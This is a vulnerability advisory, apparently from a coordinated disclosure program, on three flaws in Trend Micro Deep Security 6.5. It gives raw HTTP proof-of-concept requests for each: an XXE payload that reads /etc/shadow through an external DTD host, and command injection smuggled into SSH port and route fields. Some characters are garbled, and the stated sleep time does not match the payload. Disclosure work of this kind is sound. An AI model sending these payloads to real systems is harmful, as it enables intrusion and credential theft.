The following advisory describes three (3) vulnerabilities found in Trend Micro Deep Security version 6.5.
 
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The vulnerabilities found in Trend Micro Deep Security:
1. XML External Entity (XXE) that lead to arbitrary file disclosure 
2. Local Privilege Escalation
3. Remote code execution
 
Credit
An independent security researcher has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program.
 
Vendor response
 
Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412
 
Vulnerabilities Details
 
XML External Entity (XXE) that lead to arbitrary file disclosure
 
Trend Micro Security Manager uses an outdated REST API (resteasyAjaxrsA2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.
 
Proof of Concept
 
By sending the following POST request, an attacker can gain the victims a/etc/shadowa
  
1 POST /rest/authentication/login/sso HTTP/1.1
2 Host: 192.168.18.129:4119
3 ContentAType: application/xml
4 ContentALength: 360
5
6 <?xml version="1.0" encoding="utfA8"?>
7 <!DOCTYPE roottag [
8 <!ENTITY % start "<![CDATA[">
9 <!ENTITY % goodies SYSTEM "file:///etc/shadow">
10 <!ENTITY % end "]]>">
11 <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
12 %dtd;
13
14 ]> 15
16 <dsCredentials>
17 <password>P@ssw0rd</password>
18 <tenantName></tenantName>
19 <userName>&all;</userName>
20 </dsCredentials>
 
Local Privilege Escalation
 
Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.
 
1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 UserAAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 AcceptALanguage: enAUS,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 ContentAType: application/xAwwwAformAurlencoded
10 ContentALength: 150
11 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
12 atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221
 
In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victimas machine.
 
Proof of Concept
 
The following POST request will call the sleep command with a value of 60 seconds:
     
1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 UserAAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 AcceptALanguage: enAUS,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 ContentAType: application/xAwwwAformAurlencoded
10 ContentALength: 150
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
13 atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221
 
Remote code execution
 
Trend Micro Deep Security has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.
 
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 UserAAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 AcceptALanguage: enAUS,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 ContentAType: application/xAwwwAformAurlencoded
10 ContentALength: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1
 
In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel
 
Proof of Concept:
     
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 UserAAgent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 AcceptALanguage: enAUS,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 ContentAType: application/xAwwwAformAurlencoded
10 ContentALength: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0%7c%7c%60ping%20A
15 c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20A
16 c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
17 rface_vlanid_sel=eth1